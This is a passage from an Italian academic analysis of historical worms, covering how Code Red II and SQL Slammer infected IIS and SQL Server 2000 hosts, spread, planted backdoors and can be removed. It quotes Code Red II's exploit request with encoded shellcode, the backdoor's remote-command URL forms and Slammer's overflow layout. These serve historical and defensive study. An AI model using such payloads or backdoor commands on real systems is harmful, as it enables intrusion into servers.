Code Red II ha iniziato ad infettare host su cui giravano versioni non ”patchate”
di Microsoft IIS Web Server.
2.3
Code Red II
A partire dal 4 agosto 2001 un nuovo worm ha cominciato a sfruttare la vulnerabilità da buffer overflow nei server IIS di Microsoft. Nonostante quest’ultimo non
avesse alcuna relazione col Code Red originario, il suo codice sorgente conteneva
la stringa ”Code Red II”: da qui la scelta del nome.
L’unica analogia col fratello minore Code Red la si riscontra nel meccanismo
di infezione: Code Red II colpiva sistemi su cui girava la versione 2.0 dell’Index
Server sfruttando una vulnerabilità presente nell’ISAPI. In pratica, il worm,
installandosi dapprima su un web server a caso, riusciva a prendere il controllo di altri tramite una richiesta HTTP che causava un buffer overflow nel file
IDQ.DLL. Diversamente da Code Red I, la sua seconda versione non risiedeva
solamente in memoria (cosicchè il semplice reboot della macchina non comportava l’eliminazione del virus), non attuava un ”defacement” del sito né tantomeno
un attacco Denial of Service, bensı̀ si occupava di installare una backdoor nella
macchina infettata che forniva, all’hacker che ne aveva il controllo, un meccanismo per ottenere accesso a distanza con privilegi di root (che permette quindi
l’esecuzione di qualsiasi tipo di codice).
Code Red II inviava durante il suo attacco una richiesta avente un’header
molto simile a quella del suo predecessore:
18
CAPITOLO 2. WORM STORICI
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090
%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801
%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b
%u53ff%u0078%u0000%u00=aHTTP/1.0
La differenza sta nel fatto che il carattere di riempimento usato è X invece di N.
Ovviamente, il codice macchina che costituisce il resto della richiesta è diverso
nelle due versioni del virus. Come già detto, il worm risiedeva unicamente in
memoria; comunque esso lasciava sul sistema infettato il file ROOT.EXE nelle
cartelle \SCRIPT e \MSADC di IIS, oltre al trojan EXPLORER.EXE in C:\ e
D:\ .
2.3.1
Azione del worm
Quando il worm raggiungeva un nuovo host, il suo thread principale per prima
cosa controllava se il sistema era già stato infettato, verificando l’esistenza di
un semaforo dal nome CodeRedII. Se il controllo dava esito negativo, il thread
• eseguiva una routine di inizializzazione;
• tentava di propagarsi su altri sistemi;
• installava la backdoor;
• andava in stato di sleep (per 24 o 48 ore), causando un reboot della
macchina al suo risveglio.
Dopo il reboot, l’attaccante poteva sfruttare la backdoor a suo piacimento; se
il semaforo invece esisteva, il thread cadeva in una sleep infinita.
Fase di inizializzazione
Nella routine di inizializzazione, il worm identificava l’indirizzo di base della
libreria KERNEL32.DLL nello spazio degli indirizzi dei processi del server IIS.
Poi cercava l’indirizzo di GetProcAddress e lo usava per ottenere accesso ad
un insieme di indirizzi API come ad esempio LoadLibraryA, CreateThread e
GetSystemTime. Successivamente caricava il file WS2 32.DLL per accedere a
funzioni come socket, closesocket e WSAGetLastError. L’aggressività del virus
dipendeva da quale linguaggio di default fosse installato sul sistema: se questo
era il Cinese il worm creava 600 thread secondari e tentava di propagarsi per 48
ore, altrimenti creava 300 thread e tentava di diffondersi ”solo” per 24 ore.
Fase di propagazione
Il thread principale controllava l’orologio di sistema: se l’anno riportato era
minore di 2002 e se il mese era minore di 10 (ottobre) allora il worm continuava
la sua esecuzione, altrimenti effettuava un riavvio della macchina e la sua azione
2.3. CODE RED II
19
terminava. Ciò implica che tutte le istanze del worm cessavano di propagarsi
dal primo ottobre del 2001 in poi. Se l’azione del worm continuava, il thread
principale e i thread secondari creati contribuivano all’infezione svolgendo ruoli
diversi: il primo si occupava della creazione della backdoor, mentre i secondi
provvedevano alla diffusione dell’infezione su altri sistemi. I 300 o 600 thread
lavoravano tutti simultaneamente, occupandosi di inviare la richiesta HTTP
”assassina” su un particolare host. L’indirizzo IP della vittima era determinato
dal thread scegliendo a caso un indirizzo IP e applicandovi poi una delle seguenti
maschere:
• 0.0.0.0 (probabilità 12.5%)
• 255.0.0.0 (probabilità 50.0%)
• 255.255.0.0 (probabilità 37.5%)
La porzione dell’indirizzo IP su cui era applicata la maschera veniva rimpiazzata con la porzione di rete dell’indirizzo IP dell’host infettato. Le differenze
di probabilità stanno ad indicare che una macchina infettata tenterà di colpire
macchine quasi certamente attaccabili, basandosi sul presupposto che su host
che fanno parte della stessa rete molto probabilmente gira lo stesso software: il
worm quindi sceglierà, come bersaglio per nuove infezioni, perlopiù indirizzi IP
confinanti con quello dell’host attaccante.
I thread, comunque, escludevano gli indirizzi IP 127.x.x.x (loopback) e 224.x.x.x
(multicast), dove ogni byte ”x” era diverso da 0 o 255. In più, il worm non
tentava di reinfettare se stesso.
La connessione con le macchine che subivano il tentativo di infezione avveniva
tramite l’uso di socket non bloccanti, i quali garantiscono prestazioni maggiori.
Un’altra cosa da notare è che il codice di Code Red II non è mutante, vale a
dire che tutte le copie del worm in circolazione erano tutte identiche.
Installazione della backdoor
Mentre i thread secondari svolgevano la loro opera di diffusione del worm, quello
principale:
• otteneva il path della directory di sistema (in genere era C:\WINNT\SYSTEM32\);
• concatenava CMD.EXE (il nome dell’interprete di comandi generico) ad
esso. Chiamiamo S la stringa risultante;
• eseguiva COPY < S > < P AT H > , dove PATH è:
– C:\INETPUB\SCRIPTS\ROOT.EXE
C:\PROGRA∼ 1\COMMON∼ 1\SYSTEM\MSADC\ROOT.EXE
• creava il trojan C:\EXPLORER.EXE (con attributi di file nascosto e di
sistema)
• ripeteva i passi precedenti sostituendo C: con D:
Se le cartelle virtuali \SCRIPTS e \MSADC avevano i permessi di esecuzione
(come succede per default), la copia di CMD.EXE, in queste locazioni accessibili
dall’esterno, forniva all’attaccante uno strumento per eseguire comandi arbitrari
sul server infetto. Infatti, IIS passava i comandi da eseguire a ROOT.EXE
quando il server riceveva una richiesta cosı̀ strutturata:
20
CAPITOLO 2. WORM STORICI
http://IP ADDRESS/c/inetpub/scripts/root.exe?/c+COMANDO ARBITRARIO
dove IP ADDRESS è l’indirizzo dell’host ”vittima”, il simbolo ? separa
il path C:\INETPUB\SCRIPTS\ROOT.EXE dai parametri ad esso associati e COMANDO ARBITRARIO rappresenta il comando che l’attaccante ha
intenzione di far eseguire a tale macchina.
Reboot del sistema
Il riavvio del sistema veniva causato da una chiamata ad ExitWindowsEx prelevata dal file USER32.DLL. Esso provocava lo svuotamento dell’area di memoria
occupata dal worm, ma chiaramente lascia sul sistema la backdoor e il trojan
EXPLORER.EXE (residenti su disco); inoltre esso causava il riavvio dell’IIS
con il supporto dei nuovi valori introdotti nel registry (/c /d e le virtual root).
Il sistema era quindi pronto per essere sfruttato a piacimento dall’attaccante.
Azione e attacco al sistema
Abbiamo detto che quando terminava la sleep del thread principale, il sistema
veniva riavviato. Il primo utente che effettuava il login causerà il lancio del
”nuovo” EXPLORER.EXE, il quale per prima cosa eseguiva il vero EXPLORER.EXE (cosicché l’utente non si accorge di nulla) e poi eseguiva (in un loop
infinito) le seguenti modifiche al registry di windows seguite da una sleep di 10
minuti:
• accedeva alla chiave
HKEY LOCAL MACHINE\SOFTWARE\ M i c r o s o f t \WindowsNT\
C u r r e n t V e r s i o n \ Winlogon
impostando SECDisable=0xFFFFFF9D. Questa modifica serve a disabilitare il Windows File Protection, che è una funzionalità che impedisce il
rimpiazzo di determinati file di sistema che sono costantemente monitorati.
• imposta le chiavi
SYSTEM\ C u r r e n t C o n t r o l S e t \ S e r v i c e s \W3SVC\ Parameters \
V i r t u a l Roots \ s c r i p t s
e
SYSTEM\ C u r r e n t C o n t r o l S e t \ S e r v i c e s \W3SVC\ Parameters \
V i r t u a l Roots \msadc
al valore ,,217. Questo valore assicurava che le directory virtuali \SCRIPTS
e \MSADC (che conteneva la copia di CMD.EXE denominata ROOT.EXE)
avevano permessi di lettura/scrittura/esecuzione. In altre parole, l’attaccante voleva assicurarsi di poter eseguire script e file .EXE in tali
directory.
• imposta la chiave
SYSTEM\ C u r r e n t C o n t r o l S e t \ S e r v i c e s \W3SVC\ Parameters \
V i r t u a l Roots \ c
2.3. CODE RED II
21
al valore c: ,217 e la chiave
SYSTEM\ C u r r e n t C o n t r o l S e t \ S e r v i c e s \W3SVC\ Parameters \
V i r t u a l Roots \d
al valore d: ,217. Il valore 217 ha la stessa funzione spiegata prima. Queste
modifiche hanno lo scopo di mappare i drive C: e D: in posti ove IIS può
trovarli, cioè /c e /d; i comandi di attacco avranno perciò la seguente
forma:
h t t p : / / INDIRIZZO IP/ c / i n e t p u b / s c r i p t s / r o o t . exe ?/ c+COMANDO
oppure
h t t p : / / INDIRIZZO IP/ c / winnt / system32 /cmd . exe ?/ c+COMANDO
(quindi se il file ROOT.EXE era stato cancellato, l’attaccante poteva comunque compromettere il sistema usando le directory virtuali /c e /d)
Notiamo infine che, a causa del loop infinito menzionato prima, anche se
un amministratore si accorgesse dei settaggi nel registry introdotti dal virus e li cancellasse, qualche minuto dopo questi sarebbero inesorabilmente
ricreati!
2.3.2
Rimozione
Prima di tutto è essenziale applicare le patch Microsoft reperibili agli URL:
• http://www.microsoft.com/technet/security/bulletin/ms01-033.asp
• http://www.microsoft.com/technet/security/bulletin/MS00-052.asp
La prima rimedia alla vulnerabilità che sfrutta il virus per diffondersi. La
seconda impedisce a Windows di eseguire il trojan EXPLORER.EXE dalla
directory radice.
Una volta applicate le patch, il sistema deve essere riavviato per eliminare il
worm casomai questo fosse ancora attivo in memoria. Terminato il caricamento
di Windows, bisogna:
• cancellare i file
– \INETPUB\SCRIPTS\ROOT.EXE
– \PROGRA∼ 1\COMMON∼ 1\SYSTEM\MSADC\ROOT.EXE
– \EXPLORER.EXE (per quest’ultimo è necessario disattivare i bit di
sistema, di sola lettura e di file nascosto tramite il comando ”ATTRIB
-H -S -R”)
• rimuovere dal registry (tramite apposito editor) le chiavi:
– SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual
Roots\C
– SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual
Roots\D
22
2.4
CAPITOLO 2. WORM STORICI
Slammer Worm
SQL Slammer (conosciuto anche DDOS.SQLP1434.A, W32/SQLSlammer, Slammer, Sapphire e W32/SQL Slam-A) è stato un worm altamente dannoso che si
diffuse su Internet all’inizio del 2003. Questo worm è stato considerato da molti
tra i peggiori di sempre. La creazione di questo worm pare essere opera di un
gruppo di cracker cinesi, anche se non si ha la certezza. SQL Slammer non
danneggia file e programmi ma rende di fatto inutilizzabile la rete considerando
il ritmo velocissimo con il quale riesce ad auto-replicarsi: circa 8.000 copie in
un’ora. L’effetto finale, che caratterizza il vero danno provocato dal worm SQL
Slammer, è lo stesso prodotto dai cyber-attacchi di tipo tradizionale perché di
fatto impedisce il servizio. Infatti la sua altissima capacità di auto-replicarsi
finisce col rallentare la rete mettendo i computer fuori gioco per un eccesso di
tentativi di attacco.
SQL Slammer colpisce i sistemi su cui sono in esecuzione Microsoft SQL
Server 2000 e Microsoft Data Engine (MSDE) 2000. Questi sistemi sono attaccati inviando 376 byte alla porta UDP 1434. Tale porta è assegnata al servizio
SQL Server Resolution Service che è fornito da entrambe le applicazioni. Esso
gestisce le richieste dei client fornendo l’indirizzo del server che è in grado di
soddisfarle. Il codice del worm è stato scritto e ottimizzato utilizzando il linguaggio Assembler. SQL Slammer non memorizza copie di se stesso sul disco,
infatti è completamente memory-resident (residente in memoria), ma esiste solo
sotto forma di pacchetti di rete e processi eseguiti nella memoria dei computer
infetti. Questo worm sfrutta una vulnerabilità dei server Microsoft SQL 2000
e Microsoft Data Engine (MSDE) 2000 che consiste nel buffer overflow ovvero
nel riempimento del buffer nello stack del server di dati arbitrari. Questa condizione causa la sovrascrittura dell’indirizzo della prossima istruzione da eseguire,
memorizzato in un’area dello stack, con l’indirizzo corrispondente a quello della
prima istruzione del worm, causandone quindi l’esecuzione. Dopo che il worm
si è installato nel sistema inizia la propria routine di scansione su Internet alla
ricerca di altre macchine vulnerabili. SQL Slammer usa un generatore di numeri casuali per ottenere indirizzi IP di potenziali macchine vittime. Dunque,
il worm si propaga inoltrandosi agli indirizzi IP, generati in precedenza, sulla
porta UDP 1434 della macchina remota, in modo da contattare il server SQL
se presente. A volte il generatore random produce numeri che sono indirizzi IP
broadcast, ad esempio x.y.z.0 oppure x.y.z.255, in modo che tutti gli host della
particolare rete indirizzata ricevano il pacchetto contenente codice malizioso, in
questo caso il worm SQL Slammer. Questo aspetto comporta l’infezione allo
stesso tempo di tutti i server SQL nella subnet rendendo, quindi, la routine di
propagazione ancora più aggressiva.
Gli effetti provocati da Slammer sono stati devastanti. Infatti entro dieci
minuti della sua uscita, aveva già attaccato e infettato 75000 server internet.
Bank of America è stata una delle più grandi società colpite dal worm. Molti
dei suoi bancomat non funzionarono più per i consumatori. È stato segnalato
che il worm ha interferito con chiamate al numero unico di emergenza 911 e fu
responsabile di molti voli cancellati. Anche in Italia si sono avute conseguenze
in seguito alla diffusione del worm. Il 28 gennaio 2003, 14000 uffici postali sono
risultati bloccati. Anche i paesi dell’Asia, in particolare la Corea del Sud, sono
stati colpiti registrando un rallentamento degli scambi azionari.
La Figura 2.6 mostra l’espansione geografica di SQL Slammer nei 30 minuti
2.4. SLAMMER WORM
23
Figura 2.6: Espansione geografica di Slammer
dopo il suo exploit, cioè la sua fase iniziale di propagazione. Il diametro di ogni
cerchio è una funzione logaritmica del numero di macchine infette; quindi la
grandezza di ogni cerchio è proporzionale al grado di diffusione del worm nel
paese su cui è indicato. Come detto in precedenza, SQL Slammer si propaga
inviando pacchetti UDP ad una porta predefinita (1434) dei sistemi vittime.
Questo ha l’effetto di generare un volume di traffico capace di rallentare le connessioni fino a bloccarle totalmente. A questo punto, agli amministratori delle
macchine infette non resta da fare altro che staccare la connessione e riavviare
il server. Ad ogni modo non si tratta di un worm sofisticato nè estremamente
complicato, poiché sfrutta un’unica porta di ingresso. SQL Slammer è quindi
un worm estremamente efficiente e virulento, ma anche facilmente annientabile.
A dispetto dell’entità dei danni che ha causato, lo si potrebbe descrivere come
il classico ’cane che abbaia, ma non morde’. Per proteggere i sistemi vulnerabili
dal pericolo di un attacco del worm SQL Slammer, la Microsoft ha rilasciato
delle patch da installare su tali sistemi.
2.4.1
Descrizione
Si supponga di avere una macchina vulnerabile su cui è in esecuzione il servizio
SQL Server Resolution. Questo servizio è in ascolto sulla porta UDP 1434 che,
di conseguenza, è aperta. Di seguito sono mostrati i passi eseguiti dal worm
durante le fasi di attacco e di propagazione:
• La macchina vulnerabile riceve un datagram simile a quello mostrato nella
Figura 2.7. Come si può vedere, i campi dell’intestazione del datagram
contengono le informazioni riguardanti gli indirizzi IP e fisici degli host
coinvolti nella comunicazione, l’attaccante e l’host destinatario, e altre informazioni richieste per la trasmissione dal protocollo IP. Tra questi campi
è possibile notare il tipo di protocollo utilizzato (UDP) e il TTL (Time
To Live) che indica il numero di router che il datagram può attraversare.
In effetti questo campo funge da contatore. Ogni volta che il datagram
attraversa un router esso viene decrementato finché non diventa 0. A
questo punto il datagram viene scartato dal router che lo ha ricevuto e
viene generato un messaggio di errore con l’informazione di indirizzo IP
inesistente. Tale messaggio di errore è generato dal protocollo ICMP che
si occupa della segnalazione di errori o di altre situazioni simili. Inoltre,
tali messaggi contribuiscono al rallentamento della rete. Nella parte dei
24
CAPITOLO 2. WORM STORICI
dati sono stati evidenziati alcuni byte che hanno un significato chiave. In
particolare:
– Il byte 0x04: un datagram, che viene ricevuto da un sistema SQL
Server vulnerabile, con il primo byte uguale a 0x04, viene interpretato
come una richiesta. Quando SQL Server riceve una richiesta, esso
esegue alcune operazioni che provocheranno il buffer overflow;
– I byte 68 6F 75 6E 74 68 69 63 6B: sequenza di byte presente in tutti
i datagram in cui è contenuto il worm SQL Slammer. Tale sequenza
è contraddistinta come firma del worm.
• Quando il datagram UDP contenete il worm viene ricevuto sulla porta
1434, esso viene processato provocando l’overflow del buffer sullo stack.
Poiché nello stack vi è un’area riservata alla memorizzazione della prossima istruzione da eseguire, è possibile provocare il buffer overflow con
l’obiettivo di sovrascrivere quest’area dello stack con l’indirizzo corrispondente alla prima istruzione del worm. In tal modo il worm riesce ad andare
in esecuzione sulla macchina attaccata.
• La prima operazione compiuta dal worm, una volta iniziata la sua esecuzione, è quella di ricostruire il datagram contenente il worm stesso nel
buffer. Nel suo exploit il worm invia il datagram ricostruito ad indirizzi IP
arbitrari (non ci sono indirizzi IP predeterminati che risultano associati a
tale worm. SQL Slammer apre sul computer infetto una nuova porta di
comunicazione verso l’esterno utilizzando un numero a caso. In seguito
utilizza il suo generatore di numeri casuali per ottenere indirizzi IP random e tenta di inviarsi ripetutamente a tutti gli indirizzi IP generati. SQL
Slammer usa come seme iniziale per il suo generatore di numeri casuali il
timer di sistema (numero di millisecondi trascorsi dal boot del sistema)
della macchina infettata. Tale valore è restituito dalla funzione GetTickCount() appartenente alle API Win32. Il worm invia quindi il datagram
contenente il codice di se stesso cercando di collegarsi alla porta UDP 1434
sulla macchina remota, in modo da contattare il Server SQL, se presente.
2.4.2
Pseudocodice
Di seguito viene presentato lo pseudocodice, tratto dal documento Deep Sight
Incident Alert rilasciato dal team Deep Sight Threat Analyst, che descrive le
azioni compiute dal worm in una forma più semplice di quella descritta nel
codice assembly x86. Nella Figura 2.8 viene invocata la funzione LoadLibrary
localizzata nella libreria Sqlsort.dll, per ottenere gli handles delle librerie in cui
sono localizzate le funzioni utilizzate dal worm. Tali librerie sono ws2 32.dll e
kernel32.dll. Nella Figura 2.9 viene utilizzata la funzione GetProcAddress() per
ottenere l’indirizzo della funzione GetTickCount() che è contenuta nella libreria kernel32.dll. La funzione GetProcAddress() prende in input l’handle di una
libreria e il nome di una funzione e restituisce il puntatore a quest’ultima. Il
valore restituito dalla funzione GetTickCount() costituisce il seme iniziale per
il suo generatore di numeri casuali. La funzione GetProcAddress() è utilizzata
anche per ottenere gli indirizzi delle funzioni socket() (crea un nuovo canale di
2.4. SLAMMER WORM
25
Figura 2.7:
Figura 2.8:
comunicazione verso l’esterno) e sendto() (invia messaggi sul canale di comunicazione creato). Tali funzioni saranno utilizzate durante la fase di propagazione.
Successivamente vengono impostati dei parametri predefiniti (protocollo di comunicazione usato, tipo di indirizzo, numero di porta, ecc.) che sono passati
come argomenti alla funzione socket(). Questa funzione, come già detto, crea
un canale di comunicazione (socket) attraverso il quale il worm tenta di inviarsi.
Nella Figura 2.10 viene mostrato come vengono generati nuovi indirizzi IP
che sono attaccati attraverso l’invio di un buffer in cui è memorizzato il pacchetto
contenente il worm stesso utilizzando la funzione sendto().
2.4.3
Generatore di numeri pseudo-random
SQL Slammer è un random-scanning worm. Worm di questo tipo scelgono
e individuano in maniera casuale le macchine da attaccare. Per tale motivo
Figura 2.9:
26
CAPITOLO 2. WORM STORICI
Figura 2.10:
hanno bisogno di un buon generatore di numeri casuali al fine di selezionare
nuovi obiettivi da attaccare. SQL Slammer utilizza un generatore a congruenze
lineari nell’algoritmo di generazione di numeri pseudo casuali PRNG (Pseudo
Random Number Generator).
Questo tipo di generatore utilizza una formula del tipo:
xi + 1 = (xi ∗ a + b) mod m
(2.1)
dove:
• xi + 1 è il nuovo numero pseudo-casuale generato;
• xi è l’ultimo numero pseudo-casuale generato;
• m rappresenta il range del risultato;
• a e b sono valori costanti.
La sequenza di valori viene prodotta iterando la formula descritta, a partire da
un valore iniziale x, detto seme. Quando nella sequenza degli xi generati, si
ritrova uno dei valori xj (con j¡i) generato in precedenza, da questo punto in
poi ha inizio un ciclo che ripete i valori già prodotti. L’ampiezza di questo ciclo,
detto periodo, dipende dalla scelta dei valori per le costanti a, b ed m. Gli autori
di SQL Slammer hanno scelto di utilizzare dei valori per le costanti a, b ed m
che la Microsoft ha utilizzato in altri generatori di numeri pseudo-casuali. Il
valore scelto per la costante a = 214013, quello scelto per b = 2531011 e quello
scelto per m = 232 .
La formula di generazione diventa quindi:
xi + 1 = (xi ∗ 214013 + 2531011) mod 232
(2.2)
La scelta effettuata per il valore della costante b ha prodotto implicitamente
un errore nella realizzazione del PRNG. L’errore è stato la sostituzione del valore
di incremento con il valore esadecimale 0xffd9613c. L’interpretazione di questo
valore in complemento a 2 è equivalente a -2531012 e ciò evidenzia come la sua
rappresentazione sia sbagliata perché laddove è prevista un’operazione ADD
(addizione) si realizza in realtà un’operazione di SUB (sottrazione) (essendo il
valore negativo). Per ovviare a tale errore doveva essere compiuta un operazione
SUB per compiere realmente un operazione di ADD. Il risultato di questo porta
ad un incremento sempre pari. Un altro errore prodotto nella realizzazione del
generatore è stato compiuto nella parte del codice assembler che implementa
la generazione di numeri casuali. Questo errore consiste nell’uso dell’istruzione OR invece dell’istruzione XOR per azzerare il contenuto di un appropriato
registro, (il registro EBX), in cui verrà caricato il valore della costante b. Questa operazione lascia inalterato il contenuto di tale registro (es. A OR A = A,
2.4. SLAMMER WORM
27
A XOR A = 0) che contiene il valore di un entry point nella Import Address
Table (IAT) di SqlSort. Di conseguenza non viene compiuta un’operazione di
XOR tra il valore di b e 0 (che caricherebbe b in EBX) ma tra il valore di b e
quello precedentemente memorizzato in EBX. Questi errori riducono significativamente la qualità della distribuzione del generatore, in quanto la sequenza di
numeri generati è caratterizzata da un periodo relativamente piccolo. Quindi, a
causa dell’erroneo incremento utilizzato, un qualunque worm ciclerà attraverso
un elenco di indirizzi significativamente più piccolo dello spazio di indirizzi di
Internet. La probabilità di scegliere un particolare ciclo di indirizzi da scandire
dipende dal valore casuale scelto per il seme iniziale. Se si considera l’insieme
dei semi casuali utilizzati dalle varie istanze del worm è ugualmente probabile
che tutti gli indirizzi di Internet siano sondati. Comunque, il worm utilizza come
valore del seme per il generatore il numero di millisecondi trascorsi dal boot del
sistema. Tale valore è ottenuto dalla funzione GetTickCount() che restituisce
il timer di sistema. Questa scelta provvede ad una sufficiente randomizzazione
per assicurare che attraverso molte istanze del worm, almeno un host sonderà
ogni indirizzo in qualche istante di tempo. Una caratteristica interessante di
questo PRNG è la difficoltà per la comunità di Internet di identificare un elenco
di indirizzi compromessi. Con i vecchi worm, era sufficiente raccogliere solo un
elenco di tutti gli indirizzi sondati in una grande rete, invece con SQL Slammer,
bisognerebbe esaminare reti in ogni ciclo del generatore di numero casuale.
2.4.4
Vulnerabilità dei sistemi colpiti
I database server Microsoft SQL Server 2000 presentano una vulnerabilità di
buffer overflow. Questa condizione può essere provocata da un attaccante remoto senza che questi si sia mai autenticato al server. L’obiettivo dell’attaccante
è riuscire ad acquisire privilegi del processo server per poter agire indisturbato
come se sulla macchina attaccata continuasse la normale esecuzione del processo
server. SQL Server può essere configurato in modo che possa inizializzare connessioni con i client in diversi modi. Può essere configurato in modo che i client
usino delle pipe (canali di comunicazione) su una sessione NetBIOS, utilizzando
le porte TCP 139 o 445, oppure può essere configurato in modo che i client usino
dei socket attraverso i quali si connettono alla porta TCP 1433. Qualunque sia
il metodo utilizzato, SQL Server resta sempre in ascolto sulla porta UDP 1434.
Questa porta è assegnata al servizio SQL Server Resolution Service (SSRS)
(Microsoft SQL Monitor) incluso nei sistemi SQL Server. In effetti molteplici
istanze del server sono in esecuzione sulla stessa macchina. Questo servizio ha il
compito di ricevere le richieste dei client e restituire l’indirizzo IP e il numero di
porta dell’istanza del server SQL che permette di accedere al database richiesto
dallo specifico client. I messaggi di richiesta da parte dei client consistono in un
singolo byte packet, che corrisponde a 0x02. Ad ogni modo ci sono anche altri
tipi di comunicazione che possono essere spedite a questa porta. Quando un
sistema SQL Server riceve sulla porta UDP 1434 un pacchetto il cui primo byte
è settato a 0x04, il servizio SQL Monitor fornito da SQL Server prende i restanti dati contenuti nel pacchetto e li interpreta come informazioni supplementari
dell’utente. A questo punto SQL Server crea una chiave di registro utilizzando
questi dati. Ad esempio, inviando un pacchetto contenete i seguenti byte:
28
CAPITOLO 2. WORM STORICI
Figura 2.11:
• 0x04 0x41 0x41 0x41 0x41 (byte 0x04 seguito da quattro lettere maiuscole
’A’)
SQL Server tenta di aprire la seguente chiave di registro:
• HKLM\Software\Microsoft\Microsoft SQL Server\AAAA\MSSQLServer\CurrentVersion
SQL Server nel momento in cui crea la chiave di registro, carica in un buffer sullo
stack la sequenza di byte che segue il byte 0x04. Se tale sequenza è costituita
da un numero elevato di byte in modo da essere maggiore della dimensione del
buffer, che è limitata, essa provoca l’overflow di quest’ultimo. Se ciò avviene,
l’indirizzo di ritorno (indirizzo dell’istruzione successiva da eseguire), salvato
nello stack viene sovrascritto, permettendo ad un attaccante di guadagnare il
controllo completo del processo SQL Server e del suo percorso di esecuzione.
2.4.5
Come vengono sfruttate le vulnerabilità
Il pacchetto mostrato in Figura 2.7, quando è ricevuto da un sistema SQL Server
viene interpretato come una richiesta poiché il suo primo byte della sezione dati
è 0x04. Come spiegato in precedenza, il server SQL interpreta i dati che seguono
tale byte come dati supplementari dell’utente. In effetti tali byte comprendono
l’intera sezione dati del datagram e, come evidenzia la Figura 2.11, essa può
essere suddivisa in tre parti:
• Garbage: è costituito da dati di padding (riempimento). Essi vengono
aggiunti al pacchetto contenente il worm in modo da dargli una dimensione
tale da provocare il buffer overflow quando viene caricato nello stack
• EIP: corrisponde all’indirizzo attraverso il quale il worm accede al suo
payload, ossia l’indirizzo dell’istruzione ”jmp esp”. Tale indirizzo in effetti
va a sovrascrivere nello stack il corretto instruction pointer quando viene
causato l’overflow del buffer
• Worm: costituisce il codice del worm.
2.4. SLAMMER WORM
29
Figura 2.12:
SQL Server carica tali byte in un buffer sullo stack al fine di utilizzarli per creare
un chiave di registro. I dati di padding, però, conferiscono alla sequenza di byte
una taglia superiore alla dimensione del buffer. Siccome non viene effettuato
nessun controllo sulla dimensione della sequenza di byte, viene provocato un
buffer overflow e l’indirizzo di ritorno salvato sullo stack viene sovrascritto con
l’indirizzo formato dai byte [EIP]. Quest’indirizzo referenzia l’istruzione ’jmp
esp’ localizzata nella libreria Sqlsort.dll. L’esecuzione di questa istruzione provoca un salto all’istruzione referenziata dall’indirizzo memorizzato nel registro
ESP. Tale indirizzo si riferisce ad una locazione nello stack. Per come è stata
caricata la sezione dati nel buffer sullo stack questo indirizzo referenzia la prima
istruzione del worm.
2.4.6
Impatto
Il principale impatto di questo worm è l’ampio utilizzo della bandwidth di rete,
che in alcuni casi determina la perdita dei pacchetti sulla rete al 100%. Il grafico
in Figura mostra la perdita di pacchetti verificatasi nel periodo 20-26 gennaio
2003 in corrispondenza dei sovraccarichi di rete causati dall’exploit worm. In
particolare è possibile notare tre picchi massimi di cui uno il 24 gennaio e due
il 26 gennaio. L’alto volume di traffico sulla porta UDP 1434 causa un degrado
delle performance dell’host infettato (che include condizioni di deniel-of-service).
In effetti l’ampio consumo della bandwidth di rete è il risultato della presenza
sulla rete dei messaggi outbound e inbound generati e causati rispettivamente
dalla procedura di propagazione del worm. I messaggi outbound costituiscono
il traffico verso indirizzi esterni sulla porta UDP 1434; i messaggi inbound costituiscono il traffico di messaggi ICMP di Porta o di Host non raggiungibile
generati dai routers ogni qualvolta il worm inoltra pacchetti a indirizzi IP non
esistenti, o ad indirizzi IP il cui host ha la porta UDP 1434 chiusa. Un altro
fattore che contribuisce all’aumento del traffico di rete è determinato dal fatto
che su ogni sistema possono essere in esecuzione contemporaneamente più copie
30
CAPITOLO 2. WORM STORICI
del worm, poiché il worm non prevede installazione che prevenga una nuova
probabile infezione.
2.4.7
Velocità di propagazione
La velocità di propagazione è una delle caratteristiche principali di SQL Slammer. Nel primo minuto della sua espansione, la taglia della popolazione contagiata raddoppia ogni 8.5 (± 1) secondi. Il worm ha raggiunto il massimo
scanning rate (55 milioni di scansioni al secondo) in circa tre minuti, successivamente il tasso di crescita è diminuito poiché le porzioni significative del network
non hanno avuto abbastanza bandwith da permettergli di operare. Le macchine più vulnerabili sono stato contagiate entro 10 minuti dall’exploit del worm.
Sebbene fossero stati predetti worm con un cosı̀ rapido tasso di propagazione
soltanto in teoria, SQL Slammer ne rappresenta il primo reale esempio. A prova di quanto detto, SQL Slammer risulta due ordini di magnitude più veloce
in confronto ad un altro noto worm Code Red (ha infettato 359.000 host il 19
luglio 2001) la cui taglia della popolazione colpita raddoppia in circa 37 minuti. Slammer, come altri worm, ad esempio Code Red e Nimda, è uno scanning
worm. Worm di questo tipo utilizzano la stessa strategia di base che consiste
nella individuazione di macchine vulnerabili e nel trasferimento su di esse del
proprio payload, ma Slammer si differenzia per la strategia di scansione determinata dal tipo di protocollo di connessione utilizzato. La strategia di scansione
di Code Red è a latenza limitata; questa prevede la creazione di molti threads
ognuno dei quali invoca una connect per sondare indirizzi IP generati in maniera
random. La velocità di scanning rate di questi thread è limitata dalla latenza
di rete, ossia il tempo che intercorre dalla invio del pacchetto TCP-SYN alla
ricezione di una risposta o fino alla scadenza del time-out (procedura three-way
handshake del protocollo TCP). I worm che operano in questo modo possono
compensare la latenza di rete creando un elevato numero di threads; in pratica l’alto overhead e la mancanza di sufficienti risorse rendono inefficace questa
soluzione, per cui il worm va velocemente in stallo. Diversamente, la strategia di scansione di Slammer è a bandwidth limitata. Poichè si può sfruttare
la vulnerabilità del Server Sql inviando un singolo pacchetto UDP sulla porta
1434, il worm è in grado di compiere scansioni senza aspettare una risposta
dalla potenziale vittima. Questa caratteristica rende il ciclo di scansione molto
veloce e poichè i moderni server hanno sufficiente capacità di I/O di rete tale da
poter trasmettere dati a 100Mbps+, Slammer è limitato dalla bandwidth di rete
piuttosto che dalla sua abilità di autoreplicarsi frequentemente. In teoria, una
macchina infettata con una connessione ad Internet di 100 Mb/s può produrre
